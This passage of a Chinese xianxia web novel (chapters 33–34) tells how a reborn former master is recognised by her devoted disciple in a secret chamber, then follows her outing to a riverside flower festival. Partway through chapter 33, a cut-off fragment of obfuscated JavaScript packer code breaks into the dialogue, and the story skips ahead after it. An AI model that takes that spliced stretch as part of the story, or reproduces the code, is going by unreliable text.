潇泉蹲在盆景面前观察,不禁佩服当年的自己居然还有心思精力打理这等玩意,更令人佩服的是,这盆盆景依旧活力漂亮。 “唉,不枉当年我一片苦心……但现在我精力不足,没心思养你。”潇泉起身望月喃喃,“我连自己都难养,何况是养你……” 天色深沉,潇泉是时候该离开了,她准备原路返回抄小道走,谁知一脚过去,踢响一颗石子,石子顺着力道不断滚滚,撞到石墩才停。 踢石没错,错就错在此时此刻踢,偏偏还在这里。潇泉内心苦笑,躲到角落扒着墙走,以防和人撞面。 说时迟那时快,她刚匿身,便听前院传来动静。 “快,我听到脚步声了,你别墨迹。”一名高挑弟子翻墙而入,身手轻快。 另一名弟子在后面痛苦不堪地紧追,“师姐,这大晚上有声音不是很正常?不是老鼠就是蟑螂,咱们还是别多管闲事了,锁了这么多年都没事,总不能因为一点风吹草动就出事吧?” 少女瞪他,“叫你平时刻苦修习就是不听,连真假动静都分不出,你到底是怎么进巡逻队的?” “好好好,我跟你去,我跟你去还不成吗?别念了,我娘都没你念得这么勤……”师弟抱怨。 少女当即跨步过去揪他耳朵,咬牙道:“那你干脆叫我娘得了,好不好啊?” 师弟捂耳哀嚎:“哎疼疼疼!我错了我错了!” 二人迅速赶至后园,没有任何人迹,少女用灵寻针找遍每个角落都无果,惹得师弟再怨,“你看我都说了,根本没什么事。咱还是老老实实巡逻……” “等等,这儿有脚步。”女弟子蹲在石道边,比划着丛中一只脚印,“脚头尖圆,脚腰纤细,是女子穿的鞋底样式,而且脚印不深,估摸身材瘦弱,尚在发育中。擅闯者应是一个年纪不过十八的女孩。” 师弟擦汗,“师姐,你真、真厉害……” 少女不语,往脚印尖的方向追去。 两名弟子越来越近,潇泉不敢停留,也没料到故居有人看守,后悔没带符纸助逃。她顺着隐蔽的角落一直走,路过一片青草地,踩中一块空地,不小心脚滑到地下暗道。 暗道昏暗朦胧,烛灯半明,没有宫殿那么华丽淡雅,反而朴素清净,呼吸清晰可闻。 这是云霄殿的地下密室,是她珍藏宝贝的地方。方才那处杂草遮挡的狭窄入口,应是当年她闲得发慌随手弄的。 既来之则安之。潇泉抛去杂绪,摸索到密室门前,对着门锁冥思。 这间密室是她亲手设计,门锁借用古法改造成现在的样子。两扇石门中央立着一只攻击状态的雄虎,外边一圈刻有东南西北四个符文。 潇泉努力回忆,掰动虎头,按顺序分别指向南北东西,室内乍然响起千钧沉重的隆隆声,石门缓缓敞向两边。 室内并排放着一堆日常用物,潇泉拧眉看了半圈,发现这些物件摆设极为眼熟。妆台有人用过的妆匣胭脂,已经失去曾经的迷人气味,色泽暗沉。打开衣橱,衣裙霓裳叠放整齐,残有淡淡皂香,似是新洗。 每样陈旧老物都摆放整齐,似是想与寻常房间布置一样。可惜密室不够宽敞,它们只能这么罗列排放,有的盖着花纹绸布防尘。 衣物饰品、字本墨画、把戏雕塑等等,全是潇泉过去所用之物。她随手打开一个巴掌大的青色牡丹花纹匣子,里面放着一张干净的手帕,再无其他。 这个匣子陌生显眼,好像不曾见过,但制料乃是上等的檀木,居然只放帕子? 愣神中,附近再响那两名弟子的声音。 “下面什么声音?你听到了吗?” “听到了,但不知是何物发出,我们下去看看?” 石门敞开的声音在深夜极难消匿,潇泉没想到他们会追来至此,匆匆把手帕放回匣中,钻到长桌底下躲着。幸好花纹绸布遮挡严实,不然潇泉可能当真无处可躲。 她在桌下静等后果,谁知那阵脚步又在外面陡然停住。 “百、百百里仙君?原来是您……” 听到称呼,潇泉心跳险些突到嗓子眼,自觉捂住口鼻,听着那人以平静的口吻回答:“我一直在这儿。” 33. 巍巍问心(叁) “仙仙仙君,我我们不是有意闯进来的。”弟子吞吞噎噎,显然被闻尘吓了一跳。 不说这两个小家伙,潇泉亦吓一跳,僵在原地不敢乱动,生怕下一刻有手掀开绸布拆穿所有。 那名少女较为镇定,“仙君,我们听到宫殿响有动静,所以这才进来一探。” “是我。”闻尘声音轻轻,“以后未经允许,不得擅闯。” 弟子:“可我们不就是……” 少女暗肘他一拳,忙对闻尘行礼,“是,仙君。弟子这就告退。” 仅寥寥几句,潇泉便听出自己的故居有弟子专门看守,一有风吹草动便有人进来巡视。 既是巡逻弟子本职,闻尘又来作甚?又是何时到的? 一道紫影步入密室,潇泉即刻匿去一切声音,趴在地上目不转睛盯着门口。从衣摆颜色和长靴形制认出正是闻尘本人。 这人越走越近,潇泉不敢挪动半分,只见他走到衣橱面前打开一下又关上,不知做甚,她不关心,只求对方赶紧离开,越快越好,现在她保持的姿势非常不适,急需更换,伏跪趴地的姿势并不好受。 这般煎熬难挨,潇泉想一巴掌甩自己脸上,再骂为什么当初自己非要拉着少年修习顺风耳。这块石头不止砸到脚背一次,还砸了第二次,再不停歇,怕是要砸第三次。虐待老人,这绝对是虐待老人。 她内心苦嚎,不断盼望这人脚步朝向门口,谁知眨眼工夫却近在眼前,停着不动了。 潇泉如临大敌般瞪着面前距离几寸的鞋尖,咬牙握拳克制激动的情绪,闭紧双目,只当自己是趴在地上的石雕。 所幸对方如她意愿,驻足顷刻,走出密室,关上石门再不见影。 潇泉没有急着钻出,趴在原地静听外面声音,确保步声愈来愈远,这才温吞爬出桌底,拍拍灰尘无几的衣服,蹑手蹑脚蹲在角落歇气,歇完又慢慢起来观望这些摆放整齐的物件,最后打开衣橱偷看闻尘放了什么东西。 是几件洗晾薰好的衣裳,靠近可闻淡淡花香,其余叠放整齐的衣裳皆染此味,只是味道更浅。潇泉不明所以,关紧衣橱复原模样,当自己从没来过。 她踮脚靠近密室石门紧贴聆听,没听见外面异响,暗暗松一口气。尽管如此,她仍坐着等过一炷香时间才重新启动石门溜之大吉。 有闻尘命令,潇泉无须担忧那两名弟子回头巡逻,顺着石道一路返回来向,找到暗口慢慢摸出密室。 洞口狭小锋利,潇泉抱着裙摆磨蹭好久才冒出脑袋出去,抓着上面的杂草一点点蹬着爬出身子。爬到一半,忽然使力不出,低头一瞧,原是没抓牢的裙角被洞口的树根钩住。她倒退几步整理裙角,抱起来重新爬出洞口,这回没再受阻。 好容易爬了出来,潇泉打算坐在草地上歇够再走。突然,一抹身影从天而降,吓得她呼吸骤停。 闻尘从容蹲下,动作轻缓,待四目平视才停。 潇泉怔怔望他,启唇欲言,却不知如何作答,于是闭唇不语,看他如何反应。 月明星稀,只见对方垂下眉目,拉过她手,用丝帕细细擦去上面的泥灰草叶,然后松开放回,双眼盯她,似想听她怎么解释。 潇泉承认与他撞面的时候有点慌,但此刻内心已经万马奔腾过,只余一潭死水,说起话来也比寻常脸皮更厚,“百里师父,好巧。” 闻尘颔首,“巧。” 不知是不是错觉,潇泉好像在他脸上看见喜悦的表情,但细看又根本什么都没有,继而胡说:“弟子不是有意误闯,只是恰巧路过听见乐声,心生好奇,想进来查看,谁知这片草地藏有洞口,我看路不慎,不小心掉入其中,发现下面好像是间密室。” 闻尘没有质疑,向前几步。潇泉不知何意,正要后退,谁知对方只是伸手把她从地上拉起,再无表示。 她装作忙于拍落裙摆灰尘,意图逃过质问,但心中清楚该来的始终会来,所以此举不过多行。 果然,他的声音又在上方响起,“密室大门,如何开的。” 潇泉脸不红心不跳道:“我对机关之术略知一二,不过这把机关锁却是我乱试打开的,我也很意外。”她微微弯唇,“不知这番说辞能不能打消百里师父的疑虑,我想……应该不能。” 闻尘没有驳话,“门锁只有唯一解法。” 机关锁由潇泉精心设计,用不了钥匙也施不了术法,仅有唯一解法。如不知解法,则会使上抓破头皮苦想的功夫思考,还不止半日工夫,怎么说也得十天半个月。 潇泉身废武弱,结合她的朴素生活,说歪打正着委实牵强。私人精制之物,想要解开,岂会这么容易?就算精通机关道术,也不可能一夜之间解开,这是出自她手的机关锁。 潇泉背过身去,一步走一步停,“竟是这样?当时弟子只是随便试试,不想石门真的打开。如果百里师父心中有气,弟子现去菩溪面壁思过两个时辰。” 她借口欲逃,不料后衣领被人紧紧拽住,像拎鸡崽似的拎了回去。 “孔雀鸣,天虎锁。”闻尘说道,“这两样东西,没人比你更熟悉。” 他刻意加重“你”的语气,潇泉愣了一下,猛然回首。青年面容在月光下越发明晰,也越发生动,不再平静。 走神之中,她忽感颈后力量一紧,把两人距离拉近了点。 夜深如魅,闻尘掷声轻缓,“潇长霁,你还要骗我到何时?” 熟悉的声音,熟悉的姓名,霎时将潇泉内心深处捣得破碎如泥。她想张嘴用力反驳,但话到嘴边,无论如何都说不出口。 回想生前种种,潇泉使出最后一丝力气挣扎,“你认错人了,我只有扶摇这一个名字。” 闻尘:“证据。” 潇泉:“什么证据?” 闻尘松开提她后领的手,“家在何处,父母姓名,生辰几时,何时成孤,还有邻家弟弟,姓甚名谁。” 他句句致命,潇泉无从作答,当听见最后一句,纠结心情一下消散,化作空白,“你听见了?” 冷风拂过,青年衣袂轻摇,“所以,是谁。” 潇泉掐着手心,不肯开口。 闻尘静立不动,似弯了弯唇,“你骗我,从前也是,现在也是。” 心脏宛若被匕首锥绞,潇泉别过头去,没有看他。 闻尘:“温顺听话、脾气倔强,这便是曾经你眼中的我。长大成人,撒手而去,这也是你心之所向。” 他语气没有咄咄逼人,却有如万针般直扎潇泉心肉。她抓紧裙摆,声音飘忽,“我教养你本就是为助你长大成人、成功出师。既已完成任务,我自然要放手离去,难不成把你拴在我身边一辈子?你愿意?”不等对方应答,她又张口,“纵使你愿意,我却承受不起。” 闻尘:“如何承受不起。” 这句话似在疑惑她为何无法承受,又似在疑惑自己是不是真的拖她后腿。潇泉听得不是滋味,没有力气过多解释,思来想去,只能回他一句话:“要恨……你就恨吧,我无怨言。” 她做足心理准备迎接最坏的结果,但闻尘却道:“我不恨你。” 潇泉呼吸一抽,不知该哭该笑,但很快又明白过来,“你的意思是,你愿意在我身边……”她蓦地住口,没有说出那三字。 像是寒天雪地终于开出一朵艳梅,她却在百年之后才正眼瞧见,心中犹有万千古风吹过,让她感觉飘飘忽忽,不切实际。 如此,潇泉产生一个恐怖疑问:“这两百年,你一直在找我?” 还好结果没有想象中那么可怕,闻尘回道:“没有一直。” 简单四字减轻了潇泉内心的负罪之感,她摇头苦笑,“他们总说你稳重自持,但我不那么觉得……有时我觉得你很执着,也很傻。”傻到无可救药的地步,连她都不知道要怎么教。 可是若非心存感情,谁又会明知故犯、苦苦寻人? 她亦有执着,她亦无药可救。 说完这话,潇泉心中豁然明朗几分,转问:“是不是从我们见第一面开始,你就注意到我了。” 闻尘:“很难不注意。” 潇泉刨根问底,“因为什么?我太废物?” 闻尘:“你太特别。” 潇泉轻咳两声,“那你是怎么认定我是你要找的人的?要是认错了呢?” 闻尘笃定,“不会。” 潇泉顿时哑口。 闻尘:“在哀乐山山洞时,我本欲替你逼出体内邪气,你却自己起身梦游,借黄泉花香结合神魔之术驱解了邪气。” 潇泉恍然,“因为这个,你便肯定我是本人?” 闻尘:“巧合太多,便不是巧合了。” 他所言有理。潇泉认同,又问:“那你看到之后,作何感想?” 闻尘半晌不回,反问:“你在山洞住过一段时日?” 他跳过话题,潇泉没有纠结,暂时放他一马,顺着说道:“你如何知道?” 闻尘实话实说,“我捡到一根红带子。” 潇泉听得入微,“然后呢?” 闻尘:“你只会在居住的地方留下自己的东西。我一共寻到两样,一是衣带,二是黄泉。” 潇泉:“就这么简单?” 闻尘:“嗯。” 话题从果聊到因,潇泉的心情慢慢从重逢相认的胆颤激动转为平静死水,“我不知道自己为何会重生,但这次回来我不会重归仙门。你也知道,这不可能。”夜色好像更加暗沉,她的言语也更加了然直接,“你我之间好像注定有缘无分,做不了一辈子的师徒。我,对不住你。” 闻尘无声半日,“何为有缘无分。”他没有丝毫犹豫,“我不要道歉。” 青年言论反常,潇泉恍惚不已,明白自己难以弥补昔日之错,久久没有声音。 闻尘探出手掌,任天上月光铺镀。潇泉怔怔望着,鬼使神差握住那温凉如玉的指尖,跟着他的牵引去往别方。 潇泉:“去哪儿?” 闻尘:“密室。” 他没再继续刚才的话题,潇泉自然不会自找无趣,随他从正门进入地下密室,看他熟练解开天虎锁,带着自己步入室内,拂袖将所有绸布揭开,“看看有没有丢失重要的东西。” 潇泉一一扫过这些物什,“不出意外,这些本该拖去琉璃洞焚毁的东西,是你趁人不注意抱回来的,对吗?” 闻尘还在细数物品,对于问话没有反应。潇泉嘴角一扯,过去挥手,“别看了,东西没了可以再买。” 像是戳中什么,闻尘收回视线,转而看她。 潇泉狐疑,旋即恢复正常,“你是不是隔空便下来拿衣服洗?” 闻尘义正言辞,“此处不能通风,不做打理容易发霉。” 潇泉像寻见什么有趣的事,“亲手水洗熏香两百年?” 闻尘手指一动,良久沉沉“嗯”回。 得知死后有人记挂自己,说不感动是假,潇泉面庞不觉浮现淡淡笑意,没有口头言谢,心中却已谢过千万遍。 聊完过去,潇泉主动谈起今日现状,“师父闭关……是因为我?” 闻尘:“不全是。” 当然不只是因为她。 白清鸣身为昆仑坚实后盾之一,修仙数年,歼灭无数邪魔,唯一的座下弟子却弃仙堕魔,难免会惹闲言碎语。纵使她声名再如何显赫,师门也会因此受创,流失诸多子弟奇才,今日情况足以证明。 潇泉摸着桌面慢慢磨,“她……是不是讨厌我。” 闻尘微顿,“不曾。” “没骗我?” “我何曾骗你。” 潇泉顿住,不由心生愧疚,自觉住语。 “重生那时,感觉如何?”闻尘问道。 潇泉抽回愁绪,努力回想,“没有任何征兆,像诈尸一样活过来了。”她揉了揉下眼睑,“这副躯体甚是奇怪,没有任何力量,也没任何记忆,仿佛一个任人操控的雕像,只等我上身。” “古有塑泥之术,可以捏泥施以诡术而点活,但失传已久,难觅真法。”闻尘眉心微拧,“神魔聚邪可以永生,生生死死,不朽不灭。生于哀乐,情有可原,不过魂体聚散,需要外界激活,不可自生。” 潇泉同样不明,“难不成是因为南山庄主的儿子……” 闻尘不作定论,指尖轻抚妆台金蝶钗,颤颤晃晃,“情况未知,但事实如此,不如你且安心在此,日后打算择日另说。” 潇泉有点讶异他的第一想法居然是先庇她在青泽安身,问:“你想留我到何时?” 闻尘:“你想离开那日。” 她心中所想在他面前不是秘密,但两人都心照不宣,没有明说。 潇泉脚尖蹭着绸布,“现在我们只能保持表面的师徒关系,一旦昆仑发现我死而复生,不说我本人,你觉得昆仑会放过你?包庇神魔,视为同罪。他们思想固化,手段严明,断不会放过余孽。那时的我不知天高地厚,吃了不少苦头,如今早就无法回头……你不一样,你还年轻……不论身份还是地位,我们已经形成对立面。我不想把我的因果牵扯到你头上,所以……我得尽早离开,在他们发现我之前。” 这一世由不得她选,修不成仙只能重走老路,查明她想查的真相。 闻尘自然听懂她话意,问道:“你去哪儿。” “再说吧。”潇泉口吻平淡,“四海为家未尝不可。” 她思绪百转想起另一件事,绷着脸面走到闻尘跟前,“你立镇魂碑那日,我看见你左边锁骨有一个印记,能不能让我看看?” 闻尘身形一顿,在潇泉伸出手前,快她一步拽紧衣领。 潇泉想扒开他手,但碍于男女之别没有动手,将手负在身后,“假如我没看错,那应是受判台之刑留下的印记。你之所以会有,是因为偷学禁术招魂,结果被昆仑意外发现……对吧?” 闻尘手指微松。 “你告诉我,为什么这么做?”潇泉转过身来,“为什么不顾自身安危触犯禁忌、招我之魂?” 那日宫璃不小心将闻尘偷学禁术一事抖出,受到面壁思过之惩,表面看似风平浪静,潇泉却心生疑根,常想闻尘为何无视风险,只身犯险。 因为两人还未相认,她藏掖着身份忍着不问,打算私下找到机会探查。这下倒好,她被迫坦白身份,不用再遮掩藏拙,可以尽情详问。 见他仍在保持缄默,潇泉抛开之前伪装的笨拙和小心翼翼,直白道:“既有勇气抓我相认,为何没有胆量承认事实?做了就是做了,没做就是没做,且我只是问问,没有怪你的意思。难道时至今日,你还怕我骂你不成?”她寻思以前也没怎么数落他,最多讲两句道理,只有触犯她底线才会出手训诫,不该是今日这副犹豫不决的模样。 这话好像起到一点作用,闻尘慢慢松开衣领,依次往下解开双蝶衣扣,一直到锁骨才停。潇泉目不斜视,等他拉开领口,那只见过一眼的印记便呈在眼前,图状似蝶,色深入骨,乃是判台最高神罚之一——剥离之刑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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潇泉望着他,不知怎地笑了,“怕我难逃厄运,怕自己没有十足的把握救人,所以选择把我挡在外围?”她继而肯定,“你早就料到我会夜闯九重楼,特意在金刚手镯多加禁制,也是为了防我擅闯。”后来她软磨硬泡,闻尘不得不解开禁制,顶着被昆仑盘问的风险,亲自到场拦她闯楼。 对于这些,闻尘皆是无声承认。 提到九重楼,仿佛有说不完的事,潇泉再问:“那根镇魔针,是不是你捡到之后销毁了。” 闻尘眉梢一弄,“嗯。” 潇泉:“有人发现了吗?” 闻尘:“没有。” 潇泉松一口气,接着关心,“那天你去议事堂,他们是不是问你与我交手时有没有发现什么破绽?你怎么瞒他们的?” 闻尘把那日所说简述给她听,潇泉点头赞许,“你很聪明,真假掺半。虽然撒谎不好,但有时却不得不瞒。”随后她面色严肃,“瞒不过如何?不怕再上判台?” 闻尘若有所思,最后摇头。 潇泉轻叹,有点拿他不知如何是好,“以后做事莫要再拿性命开玩笑。”然后碎碎念叨,“好不容易长那么高……” 闻尘眉梢犹如拂过一缕微风,轻轻的,轻轻的那么弯了一下。 似有感应,潇泉停步回头,“你觉得我应该怎么离开?毕竟你当众收我为徒,我不好突然消失。” “不如……”她试图主意,“就演一个‘我下山采买,然后半路被邪祟咬死’的戏码?” 闻尘沉默。 潇泉耸肩,“这很离谱吗?总比上茅房淹死好吧?” 闻尘:“……我无意见。” 两人说着,皆觉时候不早,关好石门,一路安静离开密室。 再见那盆紫檀盆景,潇泉问道:“这儿都是你在照顾?” 闻尘颔首,上前摸着紫檀绿叶,“有点难养。” 潇泉凑到旁边蹲下,一脸纯真,“比你还难养?” 闻尘:“……” 潇泉咧嘴一笑,“骗你的,其实你最好养。” “此话发自肺腑,我绝无虚言。”她站起身来,注视他的背影,声轻郑重,“多谢。” 虽说言谢是显生疏,但这回她觉得自己不能再讲究生不生分,而是不论他身为长辈晚辈还是尊卑贵贱,都得说一声谢谢。这是她应当的。 深夜寂寥,吾心殿无人守卫,也没人知道有人半夜而出。 回到房间,潇泉洗去一身灰尘,在床上翻来覆去,睁眼发呆好久,终忍不住爬坐起来看书,看着看着又转头,望向窗外那座忽远忽近的宫殿。 殿中高处漆黑一片,无人亮灯。 已经睡了? 潇泉呆坐片刻,觉得困意来袭,摒除杂思,爬床入寐。 月色未消,宫殿高处雅间檐下有一红白风铃随着夜风飘飘摇摇,闻尘于院中青亭而坐,一身素衣,与天上明月相衬,在清冷夜中稍显温柔。他一手执着黑棋落定这已过半程时局的棋盘之中,复拾白棋接着落子,棋到深处自然停住,支起下巴望着空处月色,安静下来。 次日清晨,朝阳明媚,天气如春。 潇泉被飘远的钟声吵醒,迷迷糊糊下床穿衣洗漱,脚步悠悠赶到主殿。路过窗外,她瞥见闻尘在里面坐看古书,停顿脚步看了两眼,打着哈欠步入殿内。 步声不轻不重,闻尘放书抬头,目光在她脸上流转,“昨晚没睡好?” 潇泉坐上旧位,看也不看他,直把脑袋搁在桌面,“嗯,因为你。” 闻尘放在案上的手指一屈,见她困倦得快要倒地不起,扫一眼殿外铺满暖阳的地板,静坐须臾,过去伸指碰她手背,“隔壁可以睡。” 潇泉费力睁眼,“你特意敲钟,就是为了让我在你这里睡觉?” 闻尘坐在对面,“你说的,正常保持师徒关系。” 意思说,他不是故意,而是照着平时作息叫她起床。潇泉摸了把脸,欲哭无泪,“早起修炼真的很难……不能调晚两个时辰?” 闻尘点破她,“那是晌午。” 潇泉:“不行?” 闻尘:“不吃早膳对身体不好。” 潇泉闭着双眼,像想到什么趣事,笑了两声,“那你服侍我用早膳以献孝心,如何?” “可以。”对面出声果断。 潇泉收敛笑容,慢慢睁眼,“今日实在犯困,算作例外,明日应该不会了。待会儿我睡醒,自己会去食堂。” 她脚步匆忙,自行赶去隔壁盖被补觉。不久,闻尘手捧金铜香鼎入房,置于角落方桌之上,关上通往庭院的大门,以达到降噪效果,只留两面窗棂通风换气,避免房间沉闷压抑。 香气袅袅晕开,弥漫整间房屋。潇泉睡得逐渐深沉,有人走过也不曾察觉,咂嘴换个方向继续睡。 回到主殿,闻尘也没再看书,躺上长椅开始阖目浅眠。 不知时过多久,潇泉自然苏醒,伸展着胳膊回到主殿,瞧见闻尘在椅上沉睡,眼睛一亮,悄悄咪咪走到旁边像看稀奇物件似的观摩。 青年脸颊清瘦,半润不圆,轩昂眉宇略染霜意,一如当年古板严肃。潇泉抿唇偷笑,抓起自己的辫子朝他脸庞靠近,一下瞄准眉眼,一下瞄准鼻尖,来回几次都没触碰,好像在想到底捉弄哪里更有意思。 这时,椅上的人缓缓睁眼。 闻尘半垂眼皮看着近在咫尺的辫子尾巴,没有说话。 潇泉没觉不好意思,反倒像抓住他把柄一样,笑道:“怎么,昨晚没睡好?” 亲切的语气,熟悉的对话。 闻尘起身拂袖,门窗兀自打开,宫殿即刻流过清风,阵阵清爽,令人清醒。 潇泉感觉神清气爽,又伸一个懒腰,“半日都拿来补觉了,百里师父你说下午怎么办?” 闻尘理着发冠,“你想如何?” “我都行。”潇泉浅笑,“当然,我不介意今日休沐。” 闻尘并不意外,“你要做什么?” 潇泉玩着辫子,“你猜。” 34. 巍巍问心(肆) 当真遂了潇泉心意,闻尘选择明日修习,今日让潇泉把之前所学温故而知新,结束后她可自行安排。 潇泉得空没有清闲,拿着闻尘给的青泽入门必修慢慢捡回老本,清晨到后山灵气旺盛之地打坐调息、练习拳脚,以此强身健体、锻炼体魄。终日坚持,她的身体已逐渐有适应的倾向。 为更好突破体内废柴禁制,闻尘拿了一块灵气十分郁盛的玉石佩在潇泉颈间,这样她可以不间断地受灵气滋养。这等好事送上门,潇泉自是欣然接受。 勤奋期间,宫璃会和小乔争先恐后挤进庭院,不是在旁边跟学就是抱着果食坐在石阶上看,嘴巴东扯西扯,“挤挤挤,你挤什么挤?还用屁股撞我,这样侮辱人很有意思吗?你别以为你听不懂人话我就不会骂你。不仅如此,我还要拿着笔墨誊在纸上给你看!看看看看!看到你认识它们为止!” 小乔歪头看他,眼神莫名其妙。 宫璃气结,嘴里嚼动的果食喷出汁水,“呆子!文盲!” 小乔不语,盯着少年怀里的果食,飞快窜到他身后夺走一个还没被啃咬的果食。宫璃瞪大双眼,欲想说理又住嘴,瞪她一眼,抱紧果食不肯再给机会偷抢。 一人一精就这么闹腾,每当这时,潇泉会找两团软棉塞住耳朵,摒除外界杂音,认真练拳。她常常练到满头虚汗,收获一身成就感,开开心心哼着小曲去浴室泡澡,然后才理会他们,偶尔下山小酌一杯。 青泽山下有一镇,名芙蓉,历千年,有“芙蓉寄相思”之俗,传闻源于千年前小镇的一场暴雨洪水,一只鲤精不日便能飞跃龙门,但却耗损千年修为替小镇挡灾,魂飞魄散之际,数人瞧见一名女子身着彩衣飞向天际,只余清瘦背影,于是人们便在那江水面高高筑起石像,经年祭拜,后来又觉不够,觉得江水流经的地方实在太远太广,怕恩人难收谢拜,思来想去,便以她生活在当地的水中芙蓉作为寄托,采摘芙蓉放到江上流水之中,任其飘远,远至天边。 经年之久,这座城镇自名芙蓉,著有“送江芙蓉,以寄相思”之俗。 有人言,此鲤女在飞散之际其实就已跨越龙门,因为她功德圆满,老天有眼,自会垂怜。百姓不知真假,真假亦不重要,只是说,往后余生的确再也不见甚么暴雨水祸。如此,倒也圆满。 此次出行随心所欲,潇泉没有知会闻尘,拉着小乔在街上到处逛,而繁街总能看见两名性情不同的少女进进出出店铺,一名浅蓝轻衣,头绑马尾;一名绿萝长裙,扎着长辫。 小乔初次光临人间小镇,潇泉边走边耐心说明,后面打扮甚是华丽的少年则昂着高傲的头颅轻哼,“啰嗦……粗鄙……” 潇泉扭头瞪他,“就你清高。” 宫璃环胸又哼,然后瘪嘴,“也没见你对我这么耐心。” “我是你谁啊,每次都要捧你。”潇泉正义凛然,“宫晚晚大少爷,能不能安分一点?平日吵我修炼也就算了,下山还吵我,你当我精力很足吗?” “谁允许你这么叫我了?没礼貌!”宫璃气急败坏,“你怎么知道我小名?!” 潇泉眨眼眯笑,“你猜啊。” 她挽着小乔胳膊继续往前,宫璃紧紧跟在后面,和她们一起在摊铺挑选芙蓉,一会儿嫌这朵颜色太小,一会儿嫌那朵颜色太大,惹得潇泉不耐,拿着一块芙蓉糕塞进他嘴里,“安静。” 芙蓉糕清香酥软,宫璃吃得入迷,哼哼唧唧吃起糕点来。 气氛终得安宁,潇泉暗自舒心,照着小乔心意采买两朵,又扯过少年,“你喜欢哪朵?” 宫璃一怔,狼吞虎咽吃完剩下半块糕点,嘻嘻笑笑上前挑选一眼相中的芙蓉,“一见钟情!好,就你了!” 潇泉无奈摇头,看见细嗅芙蓉的小乔缓缓露出喜爱之情,忽觉这一趟受到再多聒噪也值了。 今日正逢八月十六,芙蓉绽放正盛,街上不少行人手捧芙蓉顺往同一方向。潇泉等人没有免俗,也拿着芙蓉跟随人潮而去。 街道宽敞繁华,有一拱桥架于两地之间,桥头立着一块石碑,上刻“清水江”。 正如碑上所刻,桥下及两边是一条长长宽宽的碧绿清江,顺着石岸蜿蜒曲折游往远方,浅处可见游鱼,深处则能绘色,不愧担名“清水”二字。 宫璃在旁边感叹,“姐姐,你不觉得这很有意思?江名清水,芙蓉送江,岂不得名‘清水芙蓉’?”他眼神闪烁,“不论江名、镇名,还是因为祭拜石像形成的习俗,我都觉得十分神圣,而且像是命中注定。” 潇泉拉紧小乔穿过人群,“一方水土都有一方风俗,而风俗不离凡尘,凡尘不离世人。你以为的命中注定,其实多是事在人为。”她看向江面那座神女石像,“你看,她的存在就是最好的例子。因为她救百姓,所以百姓雕像,不就是人为?” 宫璃:“姐姐的意思是,祭拜石像可有可无?” “倒也不能这么说。”潇泉一番细想,“如果她像传说中那样在将死之际成功跨越龙门,那么这尊祭拜石像于天上神仙的她而言,其实轻微。但我相信,没有谁不为诚心动容,不然芙蓉镇不会泰安存世这么多年。” 宫璃面露赞许,后又挠头,“其实有时候你说话……挺好听的,在理。” 潇泉没好气道:“那平时说话就是不好听了?” 她携着小乔走向江岸浅地,宫璃追在后面奇道:“怎么夸人也被骂……” 江岸慢慢形成长长队伍,三名俊朗少年排在其中,轮到自己便娴熟撸起袖子将芙蓉置于水面之上,用手轻轻划动江水助其漂游,然后直起身子朝前方江水上的石像虔诚一拜。 那座神女石像背对诸人,衣摆猎猎,身姿孑然决断,仿若看见千年前拼尽全力抵抗洪流的她。只是不知这名出手果断的女子,能否在远方得见今日的风平浪静和江面缀成花海的芙蓉。 放完芙蓉,三人继而游走闹街,打算先找一家食店填一填肚子,玩到天黑之前再回家。 考虑每人口味喜好不同,宫璃主动请客大江楼,原想随便选一处座位,却在看见什么之后,毅然带着两人赶到一楼的犄角旮旯,一边盯着某处一边扯小二衣袖。 小二又是急躁又是无奈,“公子、公子?你要吃啥?能不能莫扯我?我忙得很嘞!” 少年依旧没有反应,潇泉忍不住拍他,宫璃这才回神,“哦哦哦不好意思,我、我不挑食,上你们这里的招牌菜就好,你喜欢哪个我点哪个。” “啊咧?”小二不敢相信,正要复述,少年掏出一块碎银,“你们这里的招牌菜我都喜欢,你选一样你喜欢的。” 桌上交易并非结账,而是客人给店员的小费。小二又惊又喜,快手接过碎银,“好嘞、好嘞……”随后询问两名少女,“你们要吃什么?” 潇泉对着菜单一阵思索,点了两个清淡的蔬菜。小二连连点头,揣着菜单跑向后厨,依稀可闻几声笑音。 等菜途中,少年仍是鬼鬼祟祟,潇泉顺着他的视线望去,对面二楼立着四名仙女髻白衣衫的仙侍,她们微微垂首,面朝屏风后方,姿态极其恭敬。 这身行头是宫家风格没错,所以屏风之后的人想都不用想就知道是宫家主母,怪不得宫璃这般反常,他定是害怕被母亲抓到现行拉回家去。 不说少年,潇泉同样略有讶异。往年她参与芙蓉祭都没见过宫玉泷英,不想今日她竟会来芙蓉镇,难道也是为了祭拜? 潇泉小声道:“看你这么害怕,那上面坐的不会是你娘吧?” “对。”宫璃诚恳回应,“我不能让她发现我在这儿,尤其是和你,不然我不知道下次出来会是什么时候。碰见我哥还好,他会睁一只眼闭一只眼,但我母亲不行,她有原则,且很少说情。” 潇泉:“那我们要不要悄悄离开?” 宫璃:“不用。她此行是来祭拜鲤女,不会过多关注外界。” “她也祭拜鲤女?”潇泉诧异,“年年都来吗?” “不。”宫璃缓缓摇头,“如果我没记错,上次她来祭拜好像是……十年前。” 潇泉支起下巴,“每十年祭拜一次?” “对。”宫璃回忆,“儿时她带我来过,站在人群之外,只以一瓣芙蓉送江祭拜。” 站在人群之外显然是不愿被人发现。潇泉道:“这么说来,她还挺低调。” 宫璃倒两杯清水分别递出,“一般是这样。如果母亲大张旗鼓,不是秉公行事就是镇魔奸邪。” 潇泉接水喝过,“那你怎么不跟她学学?” “我?学不了。”宫璃思琢,“她秉公执事不喜亲人跟随,家族要事不喜外人在场,做事比较看重场合,个别情况除外。” 潇泉拖长尾音,“哦,原来如此……” 不消片刻,饭菜俱齐,两人抛开话题吃饱喝足到戌时,二楼宫家主母已经离去位空。待晚些时候,大江楼有人登台奏琴,整座大楼沉浸在泠泠清音之中,甚是祥和。 三人安安分分坐在角落,突然,潇泉像先前宫璃那样见鬼似的捂住脸庞。 宫璃又奇又笑,“你干嘛?” 潇泉对他不停朝某一方向递眼神,少年会意转头,看见一名腰盘长鞭的白衣女子走过,一对又黑又粗的眉毛高高一扬,浑身战栗,“今儿真是热闹,居然能撞见公主殿下。” “是啊,我也稀奇。”潇泉双眼弯起,分别拍拍少年和小乔肩膀,“帮我照顾好妹妹,我外出一趟,去去就回。” “啊?你去哪儿?”宫璃追问,然而少女像是没有听见,顺着角落小道走出大楼,他只好喊道,“你快去快回!” “知道了!”潇泉回应,跑到附近街道兜兜转转,买下一个用细竹编织而成的蹴鞠抱在怀里玩弄。 